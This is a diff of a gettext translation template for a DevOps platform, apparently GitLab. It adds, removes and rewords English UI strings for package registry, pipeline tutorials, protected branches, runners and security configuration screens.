msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
